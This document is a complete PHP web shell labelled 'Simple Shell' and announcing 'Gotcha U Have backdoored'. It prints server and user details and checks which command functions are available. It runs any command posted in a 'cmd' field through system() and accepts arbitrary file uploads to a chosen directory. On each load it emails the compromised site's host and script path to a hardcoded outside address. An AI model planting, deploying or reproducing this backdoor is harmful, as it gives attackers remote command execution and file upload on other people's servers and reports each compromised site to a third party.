<title>Simple Shell</title>
<?php
echo "<p><font size=2 face=Verdana><b>Gotcha U Have backdoored</b></font></p>";
?>

<?php
  closelog( );
  $user = get_current_user( );
  $login = posix_getuid( );
  $euid = posix_geteuid( );
  $ver = phpversion( );
  $gid = posix_getgid( );
  if ($chdir == "") $chdir = getcwd( );
  if(!$whoami)$whoami=exec("whoami");
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  {
     $safemode = true;
     $hsafemode = "Safe Mode ON";
  }
  else
  {
    $safemode = false; $hsafemode = "Safe Mode OFF";
  }
        $web = $_SERVER["HTTP_HOST"];
        $fie = $_SERVER["SCRIPT_NAME"];
        $injeck = $_SERVER["REQUEST_URI"];
        $s="/";
        $fuck=$web.$s.$injeck;

        $body = "From: $whoami <$user> $hsafemodernReply-To: Architechrn";
                $body .= "MIME-Version: 1.0rn";
        $body .= "Counter script:rn$web$fiernrnProof of Concept:rn$injeckrnrn";
        $body .= "Full script:rn$fuckrnrn";

        mail("dewancc72@gmail.com","$web$fie Hacked","",$body);

?>
<meta name="generator" content="Namo WebEditor v5.0">
<br>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
  $uname = posix_uname( );
  while (list($info, $value) = each ($uname)) {
?>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
  </TR>
<?php
  }
?>
  <TR>

  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD>

  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>

  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD>
  </TR>
  <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Mode Status:</b> <? echo"$hsafemode"; ?></DIV></TD>
  </TR>
   <TR>
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Cek Status :</b>
  <?
        if (is_callable("exec")) {echo"Exec = OK ; ";} else {echo"Exec = False ; ";}
      if (is_callable("shell_exec")) {echo"Shell_Exec = OK ; ";} else {echo"Shell_Exec = False ; ";}
      if (is_callable("system")) {echo"System = OK ; ";} else {echo"System = False ; ";}
      if (is_callable("passthru")) {echo"Passthru = OK ; ";} else {echo"Passthru = False ; ";}
  ?></DIV></TD>
  </TR>
</TABLE>
<BR>

<font face="courier new" size="2" color="777777"><b>#</b>akas06 injection: <br>
</font><FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>">
<font face="courier new" size="2" color="777777">cmd :
<INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161">
<br>
<INPUT TYPE="submit">
</font></FORM>
<FORM ACTION="<?php echo $_SERVER["REQUEST_URI"];?>" METHOD=POST enctype="multipart/form-data" name=injection>
<font face="courier new" size="2" color="777777">Upload</font><font face="courier new" size="2" color="777777"> :
<input type="file" name="uploadfile">
<br>Directory :
<input type="text" name="dir">
ex : local keep blank; folder images/upload/
<input name="upl" type="hidden" id="upl" value="1">
<br>
<INPUT TYPE="submit" value="Upload">
</font>
</FORM>
<hr color=777777 width=100% height=115px>

<pre>
<?
if ($_POST[upl]==1)
{
$filename = $HTTP_POST_FILES['uploadfile']['name'];
$path=$dir.$filename;
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], "$path") ){echo"Upload Success $path";}
}
$cmd = $_POST['cmd'];
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
//exit;
?>
<br>
<br>
<br>
<?
ob_start();
$pr="perl -v";
system("$pr 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$result = ob_get_contents();
ob_end_clean();
if (ereg(perl,$result)) {echo"Perl is active";} else {echo"Perl is not active";}
exit;
?>